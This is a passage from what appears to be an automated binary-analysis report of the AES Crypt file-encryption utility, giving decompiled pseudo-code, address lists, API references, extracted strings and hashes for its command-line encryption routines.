						_push("Error: Could not write out header data\n");
						L23:
						_t690 = E00878DA3() + 0x40;
						__eflags = _t690;
						_push(_t690);
						E008795EB(_t720, _t843, _t861, _t690);
						_push(0);
						_push(_v1164);
						L24:
						_t548 = CryptReleaseContext();
						__eflags = _v8 ^ _t866;
						return E00878AD6(_t548 | 0xffffffff, _t720, _v8 ^ _t866, _t811, _t843, _t861);
					}
				} else {
					_t720 = GetLastError;
					_t843 = GetLastError();
					if(GetLastError() != 0x80090016) {
						L4:
						_t898 = _t843;
						if(_t843 == 0) {
							goto L6;
						} else {
							_push("Could not acquire handle to crypto context");
							_t713 = E00878DA3();
							return E00878AD6(E008795EB(_t720, _t843, _t860, _t898) | 0xffffffff, _t720, _v8 ^ _t866, _t805, _t843, _t860, _t713 + 0x40);
						}
					} else {
						_push(0xf0000008);
						_push(1);
						_push(0);
						_push(0);
						_push( &_v1164);
						if( *_t860() != 0) {
							goto L6;
						} else {
							_t843 = GetLastError();
							goto L4;
						}
					}
				}
				L133:
			}

0x008733e0
0x008733e9
0x008733f0
0x008733f8
0x00873408
0x00873417
0x0087341d
0x00873423
0x00873427
0x00873486
0x00873488
0x00873491
0x00873496
0x00873499
0x008734a3
0x008734a3
0x008734a5
0x008734a8
0x008734ab
0x008734ae
0x008734b1
0x008734b4
0x008734b7
0x008734ba
0x008734bd
0x008734c3
0x008734c9
0x008734d3
0x008734dd
0x008734e7
0x008734f1
0x008734fb
0x00873505
0x0087350f
0x00873519
0x0087351f
0x00873532
0x00873534
0x00000000
0x00000000
0x0087353a
0x00873542
0x00873547
0x0087354f
0x00873554
0x00873556
0x0087355c
0x00873562
0x00873564
0x00873566
0x00873566
0x00873566
0x00873566
0x0087356c
0x0087356e
0x008735e9
0x008735e9
0x008735f9
0x008735fe
0x00873570
0x00873570
0x00873572
0x00000000
0x00873574
0x00873581
0x00873586
0x00873593
0x00873598
0x0087359a
0x008735a1
0x008735a3
0x008735a9
0x008735ac
0x008735ae
0x008735b6
0x008735b6
0x008735b9
0x008735c0
0x008735c9
0x008735ce
0x008735d1
0x008735d4
0x008735d7
0x008735d7
0x008735d7
0x008735d7
0x008735df
0x008735df
0x008735e5
0x008735e7
0x00000000
0x00000000
0x008735e7
0x00873572
0x00873607
0x00873608
0x0087360e
0x00873613
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00873613
0x008736c2
0x008736c7
0x008736d0
0x008736e1
0x008736eb
0x00000000
0x00873619
0x00873623
0x00873628
0x00873634
0x0087363b
0x0087363e
0x00873645
0x00873649
0x0087364d
0x00873650
0x00873653
0x00873659
0x00873659
0x00873662
0x00873668
0x00873669
0x0087366b
0x0087366e
0x00873670
0x00873671
0x00873678
0x0087367c
0x00873681
0x00873684
0x00873687
0x008736ec
0x008736ed
0x008736f2
0x008736f4
0x008736f5
0x008736fb
0x00873700
0x00873703
0x00873706
0x00873752
0x00873757
0x00873758
0x00873760
0x00873762
0x00873763
0x0087376a
0x0087376f
0x00873772
0x00873775
0x0087377e
0x00873794
0x00873799
0x0087379f
0x008737a2
0x008737a5
0x008737a5
0x008737a7
0x008737a8
0x008737a8
0x008737ae
0x008737af
0x008737b1
0x008737b8
0x008737ba
0x008737bb
0x008737c0
0x008737c3
0x008737c5
0x008737d1
0x008737d2
0x008737d7
0x008737d9
0x008737da
0x008737e0
0x008737e5
0x008737e8
0x008737eb
0x00873816
0x0087381f
0x00873824
0x00873825
0x00873830
0x00873832
0x00873833
0x00873838
0x0087383b
0x00873840
0x00873849
0x0087384a
0x0087384c
0x0087384f
0x00873851
0x00873852
0x00873858
0x0087385d
0x00873860
0x00873863
0x00873875
0x0087387a
0x00873884
0x00873897
0x00873899
0x00000000
0x00000000
0x008738a2
0x008738a8
0x008738b0
0x008738b5
0x008738bd
0x008738bf
0x008738c1
0x008738c7
0x008738c9
0x008738cb
0x008738cb
0x008738cb
0x008738cb
0x008738d1
0x008738d3
0x00873949
0x00873959
0x0087395e
0x008738d5
0x008738d5
0x008738d7
0x00000000
0x008738d9
0x008738e6
0x008738f8
0x008738fd
0x008738ff
0x00873902
0x00873906
0x00873908
0x0087390e
0x00873911
0x00873915
0x00873915
0x00873918
0x0087391e
0x00873920
0x00873929
0x0087392e
0x00873931
0x00873934
0x00873937
0x00873937
0x00873937
0x00873937
0x0087393f
0x0087393f
0x00873945
0x00873947
0x00000000
0x00000000
0x00873947
0x008738d7
0x00873967
0x00873968
0x0087396e
0x00873973
0x00000000
0x00873979
0x00873983
0x00873994
0x00873997
0x0087399d
0x0087399f
0x008739a7
0x008739aa
0x008739ad
0x008739b9
0x008739ba
0x008739bf
0x008739c1
0x008739c2
0x008739c7
0x008739ca
0x008739cd
0x00873a28
0x00873a2b
0x00873a2e
0x00873a31
0x00873a34
0x00873a37
0x00873a3a
0x00873a3d
0x00873a43
0x00873a49
0x00873a4c
0x00873a4f
0x00873a52
0x00873a52
0x00873a54
0x00873a60
0x00873a6d
0x00873a73
0x00873a7d
0x00873a87
0x00873a91
0x00873a9b
0x00873aa5
0x00873aaf
0x00873ab9
0x00873ac3
0x00873acd
0x00873ad2
0x00873ad5
0x00873ad7
0x00873ae8
0x00873aed
0x00873aed
0x00873afa
0x00873aff
0x00873b02
0x00873b02
0x00873b02
0x00873b02
0x00873b19
0x00873b29
0x00873b39
0x00873b3e
0x00873b41
0x00873b41
0x00873b43
0x00873b43
0x00873b47
0x00873b4e
0x00873b55
0x00873b59
0x00873b60
0x00873b67
0x00873b6b
0x00873b72
0x00873b79
0x00873b7d
0x00873b84
0x00873b8b
0x00873b8e
0x00873b8e
0x00873ba0
0x00873ba6
0x00873bb0
0x00873bba
0x00873bc4
0x00873bce
0x00873bd8
0x00873be2
0x00873bec
0x00873bf6
0x00873c00
0x00873c05
0x00873c08
0x00873c10
0x00873c10
0x00873c21
0x00873c28
0x00873c2e
0x00873c34
0x00873c37
0x00873c3a
0x00873c3a
0x00873c40
0x00873c44
0x00873c48
0x00873c49
0x00873c49
0x00873c54
0x00873c5a
0x00873c61
0x00873c67
0x00873c6f
0x00873c74
0x00873c7c
0x00873c7e
0x00873c81
0x00873c83
0x00873c89
0x00873c8b
0x00873c8d
0x00873c8d
0x00873c8d
0x00873c8d
0x00873c93
0x00873c95
0x00873d19
0x00873d29
0x00873d2e
0x00873c9b
0x00873c9b
0x00873c9d
0x00000000
0x00873ca3
0x00873cb0
0x00873cc2
0x00873cc7
0x00873cc9
0x00873ccc
0x00873cd0
0x00873cd2
0x00873cd8
0x00873cdb
0x00873cdf
0x00873cdf
0x00873ce2
0x00873ce8
0x00873cf0
0x00873cf9
0x00873cfe
0x00873d01
0x00873d04
0x00873d07
0x00873d07
0x00873d07
0x00873d07
0x00873d0f
0x00873d0f
0x00873d15
0x00873d17
0x00000000
0x00000000
0x00873d17
0x00873c9d
0x00873d31
0x00873d37
0x00873d38
0x00873d3d
0x00873d3f
0x00873d40
0x00873d45
0x00873d48
0x00873d4b
0x00873f06
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00873d51
0x00873d5a
0x00873d63
0x00873d66
0x00873d6c
0x00873d6f
0x00873d72
0x00873d78
0x00873d78
0x00873d8b
0x00873da2
0x00873dac
0x00873db6
0x00873dc0
0x00873dca
0x00873dd4
0x00873dde
0x00873de8
0x00873df2
0x00873dfc
0x00873e02
0x00873e07
0x00873e0d
0x00873e12
0x00873e15
0x00873e17
0x00873e1d
0x00873e1f
0x00873e25
0x00873e2b
0x00873e2d
0x00873e2f
0x00873e2f
0x00873e2f
0x00873e2f
0x00873e35
0x00873e37
0x00873eb9
0x00873ec9
0x00873ece
0x00873e3d
0x00873e3d
0x00873e3f
0x00000000
0x00873e45
0x00873e52
0x00873e64
0x00873e69
0x00873e6b
0x00873e6e
0x00873e72
0x00873e74
0x00873e7a
0x00873e7d
0x00873e81
0x00873e81
0x00873e84
0x00873e8a
0x00873e90
0x00873e99
0x00873e9e
0x00873ea1
0x00873ea4
0x00873ea7
0x00873ea7
0x00873ea7
0x00873ea7
0x00873eaf
0x00873eaf
0x00873eb5
0x00873eb7
0x00000000
0x00000000
0x00873eb7
0x00873e3f
0x00873edb
0x00873ee6
0x00873ee7
0x00873ee9
0x00873eec
0x00873eee
0x00873eef
0x00873ef4
0x00873ef7
0x00873efa
0x00873f1c
0x00873f22
0x00873f25
0x00873f33
0x00873f36
0x00873f46
0x00873f56
0x00873f5b
0x00873f5e
0x00873f5e
0x00873f60
0x00873f60
0x00873f64
0x00873f6b
0x00873f72
0x00873f76
0x00873f7d
0x00873f84
0x00873f88
0x00873f8f
0x00873f96
0x00873f9a
0x00873fa1
0x00873fa8
0x00873fab
0x00873fab
0x00873fb0
0x00873fbd
0x00873fc7
0x00873fd1
0x00873fdb
0x00873fe5
0x00873fef
0x00873ff9
0x00874003
0x0087400d
0x00874017
0x00874021
0x00874035
0x00874037
0x0087403c
0x0087403f
0x00874045
0x00874047
0x008741c2
0x008741c2
0x008741de
0x008741df
0x008741e1
0x008741e4
0x008741e6
0x008741e9
0x008741ea
0x008741ed
0x008741f2
0x008741f5
0x008741f8
0x0087420e
0x00874225
0x0087422f
0x00874239
0x00874243
0x0087424d
0x00874257
0x00874261
0x0087426b
0x00874275
0x0087427f
0x00874285
0x0087428a
0x00874290
0x00874295
0x00874298
0x0087429a
0x008742a0
0x008742a2
0x008742a8
0x008742ae
0x008742b0
0x008742b2
0x008742b2
0x008742b2
0x008742b2
0x008742b8
0x008742ba
0x0087433c
0x0087434c
0x00874351
0x008742c0
0x008742c0
0x008742c2
0x00000000
0x008742c8
0x008742d5
0x008742e7
0x008742ec
0x008742ee
0x008742f5
0x008742f7
0x008742fd
0x00874300
0x00874302
0x0087430a
0x0087430a
0x0087430d
0x00874313
0x0087431c
0x00874321
0x00874324
0x00874327
0x0087432a
0x0087432a
0x0087432a
0x0087432a
0x00874332
0x00874332
0x00874338
0x0087433a
0x00000000
0x00000000
0x0087433a
0x008742c2
0x0087435e
0x00874363
0x00874369
0x0087436a
0x0087436c
0x0087436f
0x00874371
0x00874372
0x00874377
0x0087437a
0x0087437d
0x00874389
0x0087438a
0x0087438f
0x00874392
0x00874394
0x008743a7
0x008743b2
0x00874396
0x00874396
0x00000000
0x00874396
0x0087437f
0x0087437f
0x00000000
0x0087437f
0x008741fa
0x008741fa
0x00000000
0x008741fa
0x008741c4
0x008741c4
0x00000000
0x008741c4
0x00874050
0x00874050
0x00874050
0x00874050
0x00874052
0x0087405c
0x00874060
0x0087406e
0x00874072
0x00874076
0x00874079
0x00874079
0x00874084
0x0087408a
0x00874091
0x00874097
0x0087409f
0x008740a4
0x008740ac
0x008740ae
0x008740b1
0x008740b3
0x008740b9
0x008740bb
0x008740bd
0x008740bd
0x008740bd
0x008740bd
0x008740c3
0x008740c5
0x00874149
0x00874159
0x0087415e
0x008740cb
0x008740cb
0x008740cd
0x00000000
0x008740d3
0x008740e0
0x008740f2
0x008740f7
0x008740f9
0x008740fc
0x00874100
0x00874102
0x00874108
0x0087410b
0x0087410f
0x0087410f
0x00874112
0x00874118
0x00874120
0x00874129
0x0087412e
0x00874131
0x00874134
0x00874137
0x00874137
0x00874137
0x00874137
0x0087413f
0x0087413f
0x00874145
0x00874147
0x00000000
0x00000000
0x00874147
0x008740cd
0x00874161
0x00874167
0x00874168
0x0087416d
0x0087416f
0x00874170
0x00874175
0x00874178
0x0087417b
0x008741ce
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0087417d
0x00874186
0x0087418c
0x0087418f
0x00874198
0x0087419b
0x008741a7
0x008741aa
0x008741af
0x008741b2
0x008741b8
0x008741b8
0x008741c0
0x00000000
0x008741c0
0x00873efc
0x00873efc
0x00000000
0x00873efc
0x008739cf
0x008739cf
0x008739d4
0x008739d4
0x008739dd
0x008739ee
0x008739f8
0x008739f8
0x008739cd
0x00000000
0x00873973
0x008739f9
0x00873a06
0x00873a07
0x00873a0c
0x00873a15
0x00873a17
0x00000000
0x00873865
0x00873865
0x00000000
0x00873865
0x00873842
0x00873842
0x00000000
0x00873842
0x008737ed
0x008737ed
0x008737f2
0x008737fa
0x008737fb
0x00873809
0x0087380b
0x00000000
0x0087380b
0x008737c7
0x008737c7
0x00000000
0x008737c7
0x00873777
0x00873777
0x00000000
0x00873777
0x00873708
0x00873708
0x0087370d
0x00873712
0x00873712
0x00873715
0x00873716
0x0087371b
0x00873724
0x00873726
0x00873727
0x00873727
0x00873736
0x00873740
0x00873740
0x00873689
0x00873689
0x0087368e
0x00873693
0x00873693
0x00873696
0x00873697
0x008736a5
0x008736a7
0x008736a8
0x008736a8
0x008736b7
0x008736c1
0x008736c1
0x00873429
0x00873429
0x00873431
0x0087343a
0x00873458
0x00873458
0x0087345a
0x00000000
0x0087345c
0x0087345c
0x00873461
0x00873485
0x00873485
0x0087343c
0x0087343c
0x00873441
0x00873443
0x00873445
0x0087344d
0x00873452
0x00000000
0x00873454
0x00873456
0x00000000
0x00873456
0x00873452
0x0087343a
0x00000000

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00873423
GetLastError.KERNEL32 ref: 0087342F
GetLastError.KERNEL32 ref: 00873433
CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000008), ref: 0087344E
GetLastError.KERNEL32 ref: 00873454
_fprintf.LIBCMT ref: 0087346A
_memset.LIBCMT ref: 00873491
CryptGenRandom.ADVAPI32(?,00000020,?), ref: 0087352C
_memmove.LIBCMT ref: 00873581
_memmove.LIBCMT ref: 008735F9
_fprintf.LIBCMT ref: 00873697
CryptReleaseContext.ADVAPI32(?,00000000), ref: 008736A8
_fprintf.LIBCMT ref: 008736D0

Strings

Error: Could not write out initialization vector, xrefs: 008739CF
Error: Could not write tag to AES file (6), xrefs: 00873865
Error: Could not write out header data, xrefs: 00873689
CREATED_BY, xrefs: 0087374C
Error: Couldn't read input file, xrefs: 008741C4
Could not acquire handle to crypto context, xrefs: 0087345C
%s %s, xrefs: 0087378E
3.10, xrefs: 0087377E
Error: Could not write iv_key data, xrefs: 00873F06
Error: Could not write iv_key HMAC, xrefs: 00873EFC
Error: Could not write tag to AES file (2), xrefs: 00873777
Error: Could not write tag to AES file (4), xrefs: 008737ED
aescrypt, xrefs: 00873783
Error: Could not write the file HMAC, xrefs: 0087437F
Error: Could not write tag to AES file (1), xrefs: 00873708
gj, xrefs: 0087422F
Error: Could not write to output file, xrefs: 008741CE
Error: Could not write the file size modulo, xrefs: 008741FA
Windows is unable to generate random digits, xrefs: 008736C2, 008739F9
Error: Could not flush output file buffer, xrefs: 00874396
Error: Could not write tag to AES file (3), xrefs: 008737C7
Error: Could not write tag to AES file (5), xrefs: 00873842
@, xrefs: 00874017

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt$ContextErrorLast_fprintf$Acquire_memmove$RandomRelease_memset
String ID: %s %s$3.10$@$CREATED_BY$Could not acquire handle to crypto context$Error: Could not flush output file buffer$Error: Could not write iv_key HMAC$Error: Could not write iv_key data$Error: Could not write out header data$Error: Could not write out initialization vector$Error: Could not write tag to AES file (1)$Error: Could not write tag to AES file (2)$Error: Could not write tag to AES file (3)$Error: Could not write tag to AES file (4)$Error: Could not write tag to AES file (5)$Error: Could not write tag to AES file (6)$Error: Could not write the file HMAC$Error: Could not write the file size modulo$Error: Could not write to output file$Error: Couldn't read input file$Windows is unable to generate random digits$aescrypt$gj
API String ID: 1645823212-3021767901
Opcode ID: 1232cf3d4af30544e2fe3180cc3eed0e4311692316e5283760e8d29757ccca62
Instruction ID: 2a643dbef94454cd6ad93c1171a1b678eab57bed152c98efc12c233e04b3088c
Opcode Fuzzy Hash: 1232cf3d4af30544e2fe3180cc3eed0e4311692316e5283760e8d29757ccca62
Instruction Fuzzy Hash: BA929FB2D042189BDB20DFA8DC85BDDB7B4FF58300F1085A9E50DE7245EB719A888F56

Uniqueness

Uniqueness Score: -1.00%

Function 008753B0, Relevance: 65.3, APIs: 19, Strings: 18, Instructions: 542
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E008753B0(void* __eflags, signed int _a4, signed int* _a8, intOrPtr _a12, char _a16, short _a2062, char _a2064, signed int _a4124) {
				signed int* _v0;
				signed int _v4;
				void* __ebx;
				void* __edi;
				signed int __esi;
				void* __ebp;
				signed int _t92;
				signed int _t96;
				signed int _t101;
				signed int _t102;
				signed int _t110;
				signed int* _t114;
				void* _t115;
				void* _t116;
				signed int _t118;
				signed int _t124;
				signed int _t125;
				signed int _t131;
				void* _t135;
				signed int _t139;
				void* _t140;
				signed int _t143;
				void* _t153;
				signed int _t161;
				signed int _t166;
				signed int _t168;
				signed int _t174;
				void* _t184;
				signed int _t186;
				void* _t197;
				signed int _t198;
				void* _t199;
				void* _t200;
				void* _t201;
				intOrPtr _t205;
				signed int _t213;
				signed int _t216;
				signed int _t217;
				signed int _t219;
				signed int _t223;
				void* _t234;
				void* _t239;
				void* _t241;
				void* _t242;
				signed int _t247;
				void* _t248;
				void* _t249;
				void* _t250;
				void* _t251;
				signed int _t255;
				void* _t256;
				void* _t258;
				void* _t260;
				void* _t262;
				signed int _t265;
				signed int _t266;
				void* _t268;
				signed int _t271;

				_t266 = _t265 & 0xfffffff8;
				E008812D0(0x1024);
				_t92 =  *0x888288; // 0xb2c0100a
				_a4124 = _t92 ^ _t266;
				_t196 = _a4;
				_t255 = 0;
				_v0 = _a8;
				_v4 = 0;
				_a8 = 0;
				_a16 = 0;
				_t247 = E00875B10(_a4, _a8);
				if(_t247 == 0xffffffff) {
					L20:
					_t96 =  *0x888fa4; // 0x5
					if(_t96 < _a4) {
						_t203 = _a8;
						__eflags = _a8;
						if(__eflags != 0) {
							__eflags = _v4;
							if(_v4 != 0) {
								L47:
								_t235 = _a4;
								_t205 = _t235 - _t96;
								_a12 = _t205;
								__eflags = _t205 - 1;
								if(_t205 <= 1) {
									L54:
									__eflags = _t96 - _t235;
									if(_t96 >= _t235) {
										L82:
										E008733B0(_v4,  &_a2064);
										_pop(_t248);
										_pop(_t256);
										_pop(_t197);
										__eflags = _a4124 ^ _t266;
										return E00878AD6(_t247, _t197, _a4124 ^ _t266,  &_a2064, _t248, _t256);
									} else {
										do {
											_t198 = _v0[_t96];
											 *0x888fa4 = _t96 + 1;
											_t101 = E00879AFC("-", _t198, 2);
											_t266 = _t266 + 0xc;
											__eflags = _t101;
											if(_t101 != 0) {
												_t102 = E00879248(_t198, L"rb"); // executed
												_t266 = _t266 + 8;
												_a4 = _t102;
												__eflags = _t102;
												if(_t102 == 0) {
													__eflags = _t255 - E00878DA3() + 0x20;
													if(__eflags != 0) {
														__eflags = _t255;
														if(__eflags != 0) {
															_push(_t255);
															E00879BA2(_t198, _t235, _t247, _t255, __eflags);
															_t266 = _t266 + 4;
														}
													}
													_push(_t198);
													_push(L"Error opening input file %s : ");
													goto L93;
												} else {
													goto L61;
												}
											} else {
												_t143 = E00878DA3();
												__eflags = _a12 - 1;
												if(_a12 > 1) {
													__eflags = _t255 - _t143 + 0x20;
													if(__eflags != 0) {
														__eflags = _t255;
														if(__eflags != 0) {
															_push(_t255);
															E00879BA2(_t198, _t235, _t247, _t255, __eflags);
															_t266 = _t266 + 4;
														}
													}
													_push("Error: STDIN may not be specified with multiple input files.\n");
													_push(E00878DA3() + 0x40);
													E008795EB(_t198, _t247, _t255, __eflags);
													_t239 =  *_v0;
													goto L52;
												} else {
													_push(0x8000);
													_a4 = _t143;
													_push(E00879732(E00878DA3()));
													E00879A11(_t198, _t247, _t255, __eflags);
													_t266 = _t266 + 0xc;
													__eflags = _t255;
													if(_t255 == 0) {
														_t153 = E00878DA3();
														_push(0x8000);
														_t61 = _t153 + 0x20; // 0x20
														_t255 = _t61;
														_push(E00879732(E00878DA3() + 0x20));
														E00879A11(_t198, _t247, _t255, __eflags);
														_t266 = _t266 + 0xc;
													}
													L61:
													_t114 = _a8;
													__eflags = _t114 - 2;
													if(_t114 != 2) {
														__eflags = _t114 - 1;
														if(_t114 != 1) {
															goto L74;
														} else {
															__eflags = _t255;
															if(_t255 != 0) {
																L72:
																_t235 = _a4;
																_t124 = E008743C0( &_a2064, _a4, _t255, _v4);
																goto L73;
															} else {
																_t125 = _t198;
																_t241 = _t125 + 2;
																do {
																	_t216 =  *_t125;
																	_t125 = _t125 + 2;
																	__eflags = _t216;
																} while (_t216 != 0);
																__eflags = (_t125 - _t241 >> 1) + 0xfffffffc;
																E00878F58( &_a16, _t198, (_t125 - _t241 >> 1) + 0xfffffffc);
																_t131 = _t198;
																_t268 = _t266 + 0xc;
																_t242 = _t131 + 2;
																do {
																	_t217 =  *_t131;
																	_t131 = _t131 + 2;
																	__eflags = _t217;
																} while (_t217 != 0);
																_t235 =  &_a16;
																 *((short*)(_t268 + 0x20 + (_t131 - _t242 >> 1) * 2)) = 0;
																_t255 = E00879248( &_a16, L"wb");
																_t266 = _t268 + 8;
																__eflags = _t255;
																if(_t255 == 0) {
																	_t135 = E00878DA3();
																	_t219 = _a4;
																	__eflags = _t219 - _t135;
																	if(__eflags != 0) {
																		__eflags = _t219;
																		if(__eflags != 0) {
																			_push(_t219);
																			E00879BA2(_t198,  &_a16, _t247, _t255, __eflags);
																			_t266 = _t266 + 4;
																		}
																	}
																	_push( &_a16);
																	_push(L"Error opening output file %s : ");
																	goto L93;
																} else {
																	goto L72;
																}
															}
														}
													} else {
														__eflags = _t255;
														if(_t255 != 0) {
															L64:
															_t235 =  &_a2064;
															_t124 = E008733E0(_t255,  &_a2064, _a4, _v4); // executed
															L73:
															_t247 = _t124;
															_t266 = _t266 + 8;
															L74:
															_t115 = E00878DA3();
															_t213 = _a4;
															__eflags = _t213 - _t115;
															if(_t213 != _t115) {
																__eflags = _t213;
																if(__eflags != 0) {
																	_push(_t213); // executed
																	E00879BA2(_t198, _t235, _t247, _t255, __eflags); // executed
																	_t266 = _t266 + 4;
																}
															}
															_t116 = E00878DA3();
															__eflags = _t255 - _t116 + 0x20;
															if(_t255 == _t116 + 0x20) {
																L80:
																__eflags = _t247;
																if(_t247 != 0) {
																	goto L53;
																} else {
																	goto L81;
																}
															} else {
																__eflags = _t255;
																if(__eflags == 0) {
																	goto L80;
																} else {
																	_push(_t255);
																	_t118 = E00879BA2(_t198, _t235, _t247, _t255, __eflags);
																	_t266 = _t266 + 4;
																	__eflags = _t118;
																	if(_t118 != 0) {
																		__eflags = _t247;
																		if(__eflags == 0) {
																			_push("Error: Could not properly close output file \n");
																			_push(E00878DA3() + 0x40);
																			E008795EB(_t198, _t247, _t255, __eflags);
																			_t266 = _t266 + 8;
																		}
																		goto L53;
																	} else {
																		goto L80;
																	}
																}
															}
														} else {
															_t235 =  &_a16;
															E00878CD3( &_a16, 0x400, L"%s.aes", _t198);
															_t139 = E00879248( &_a16, L"wb"); // executed
															_t255 = _t139;
															_t266 = _t266 + 0x18;
															__eflags = _t255;
															if(_t255 == 0) {
																_t140 = E00878DA3();
																_t223 = _a4;
																__eflags = _t223 - _t140;
																if(__eflags != 0) {
																	__eflags = _t223;
																	if(__eflags != 0) {
																		_push(_t223);
																		E00879BA2(_t198,  &_a16, _t247, _t255, __eflags);
																		_t266 = _t266 + 4;
																	}
																}
																_push( &_a16);
																_push(L"Error opening output file %s : ");
																L93:
																_push(E00878DA3() + 0x40);
																E00878C47(_t198, _t235, _t247, _t255, __eflags);
																_push(0x8867e8);
																E00878BB9(_t198, _t235, _t247, _t255, __eflags);
																_t266 = _t266 + 0x10;
																goto L53;
															} else {
																goto L64;
															}
														}
													}
												}
											}
											goto L102;
											L81:
											_t96 =  *0x888fa4; // 0x5
											_t255 = 0;
											_a16 = 0;
											__eflags = _t96 - _a4;
										} while (_t96 < _a4);
										goto L82;
									}
								} else {
									__eflags = _t255;
									if(_t255 == 0) {
										goto L54;
									} else {
										__eflags = _t255 - E00878DA3() + 0x20;
										if(__eflags != 0) {
											_push(_t255);
											E00879BA2(_t196, _t235, _t247, _t255, __eflags);
											_t266 = _t266 + 4;
										}
										_push("Error: A single output file may not be specified with multiple input files.\n");
										_t161 = E00878DA3() + 0x40;
										__eflags = _t161;
										_push(_t161);
										E008795EB(_t196, _t247, _t255, _t161);
										_t239 =  *_v0;
										L52:
										_t266 = _t266 + 8;
										E008752A0(_t239);
										L53:
										E00875360( &_a16);
										_t110 = E008733B0(_v4,  &_a2064);
										_pop(_t249);
										_pop(_t258);
										_pop(_t199);
										__eflags = _a4124 ^ _t266;
										return E00878AD6(_t110 | 0xffffffff, _t199, _a4124 ^ _t266,  &_a2064, _t249, _t258);
									}
								}
							} else {
								_t196 = E00875C70( &_a2064, _t203);
								_t42 = _t196 + 7; // 0x7
								_t166 = _t42;
								_t266 = _t266 + 4;
								_v4 = _t196;
								__eflags = _t166 - 7;
								if(__eflags > 0) {
									L44:
									__eflags = _t196;
									if(_t196 >= 0) {
										_t96 =  *0x888fa4; // 0x5
										goto L47;
									} else {
										E00875360( &_a16);
										_t168 = E008733B0(_t196,  &_a2064);
										_pop(_t250);
										_pop(_t260);
										_pop(_t200);
										__eflags = _a4124 ^ _t266;
										return E00878AD6(_t168 | 0xffffffff, _t200, _a4124 ^ _t266,  &_a2064, _t250, _t260);
									}
								} else {
									switch( *((intOrPtr*)(_t166 * 4 +  &M00875AE4))) {
										case 0:
											_push("Error: Passwords don\'t match.\n");
											goto L35;
										case 1:
											__eflags = __ebx - 0xfffffffb;
											if(__eflags != 0) {
												__eflags = __ebx - 0xfffffffa;
												if(__eflags != 0) {
													__eax = L"passwords don\'t match";
													__eflags = __ebx - 0xfffffff9;
													if(__eflags != 0) {
														__eax = L"No valid error code specified!!!";
													}
												} else {
													__eax = L"password too long";
												}
											} else {
												__eax = L"user aborted";
											}
											_push(__eax);
											_push(L"Error in read_password: %s.\n");
											__eax = E00878DA3();
											_push(__eax);
											__eax = E00878C47(__ebx, __edx, __edi, __esi, __eflags);
											__esp = __esp + 0xc;
											goto L23;
										case 2:
											goto L44;
										case 3:
											_push("Error: No password supplied.\n");
											L35:
											_push(E00878DA3() + 0x40);
											E008795EB(_t196, _t247, _t255, __eflags);
											_t271 = _t266 + 8;
											goto L23;
									}
								}
							}
						} else {
							_push("Error: -e or -d not specified\n");
							_push(E00878DA3() + 0x40);
							E008795EB(_t196, _t247, _t255, __eflags);
							_t234 =  *_v0;
							goto L22;
						}
					} else {
						_push("Error: No file argument specified\n");
						_push(E00878DA3() + 0x40);
						E008795EB(_t196, _t247, _t255, E00878DA3() + 0x40);
						_t234 =  *_v0;
						L22:
						_t271 = _t266 + 8;
						E008752A0(_t234);
						L23:
						_t174 = E00875360( &_a16);
						_pop(_t251);
						_pop(_t262);
						_pop(_t201);
						return E00878AD6(_t174 | 0xffffffff, _t201, _a4124 ^ _t271, _t234, _t251, _t262);
					}
				} else {
					do {
						_t8 = _t247 - 0x64; // -100
						_t184 = _t8;
						if(_t184 > 0x12) {
							L18:
							_push(_t247);
							_push(L"Error: Unknown option \'%c\'\n");
							_t186 = E00878DA3() + 0x40;
							__eflags = _t186;
							_push(_t186);
							E00878C47(_t196, _t234, _t247, _t255, _t186);
							_t266 = _t266 + 0xc;
							goto L19;
						} else {
							_t9 = _t184 + 0x875ad0; // 0x14244c8b
							switch( *((intOrPtr*)(( *_t9 & 0x000000ff) * 4 +  &M00875AB4))) {
								case 0:
									if(_a8 != 0) {
										goto L26;
									} else {
										_a8 = 1;
										goto L19;
									}
									goto L102;
								case 1:
									__eflags = _a8;
									if(_a8 != 0) {
										L26:
										_push("Error: only specify one of -d or -e\n");
										_t190 = E00878DA3() + 0x40;
										__eflags = _t190;
										_push(_t190);
										E008795EB(_t196, _t247, _t255, _t190);
										_t272 = _t266 + 8;
										goto L27;
									} else {
										_a8 = 2;
										goto L19;
									}
									goto L102;
								case 2:
									__ecx = _v0;
									__edx =  *_v0;
									__eax = E008752A0(__edx);
									__eax = 0;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebx);
									__ecx = _a4124;
									__ecx = _a4124 ^ __esp;
									__eflags = __ecx;
									return E00878AD6(0, __ebx, __ecx, __edx, __edi, __esi);
									goto L102;
								case 3:
									__edx =  *0x889d58;
									__eax = E00879AFC("-",  *0x889d58, 2);
									__eflags = __eax;
									if(__eax != 0) {
										__eax =  *0x889d58; // 0x8320a6
										__esi = __eax;
										__eflags = __esi;
										if(__eflags == 0) {
											__eax =  *0x889d58; // 0x8320a6
											_push(__eax);
											_push(L"Error opening output file %s:");
											__eax = E00878DA3();
											_push(__eax);
											__eax = E00878C47(__ebx, __edx, __edi, __esi, __eflags);
											__esp = __esp + 0xc;
											_push(0x8867e8);
											__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
											__esp = __esp + 4;
											__esi =  &_a16;
											__eax = E00875360( &_a16);
											__eax = __eax | 0xffffffff;
											_pop(__edi);
											_pop(__esi);
											_pop(__ebx);
											__ecx = _a4124;
											__ecx = _a4124 ^ __esp;
											__eflags = __ecx;
											return __eax;
										} else {
											goto L17;
										}
									} else {
										__eax = E00878DA3();
										_push(0x8000);
										_t21 = __eax + 0x20; // 0x20
										__esi = _t21;
										E00878DA3() = __eax + 0x20;
										_push(__eax);
										__eax = E00879A11(__ebx, __edi, __esi, __eflags);
										__esp = __esp + 8;
										L17:
										__ecx =  *0x889d58; // 0x8320a6
										__edx =  &_a16;
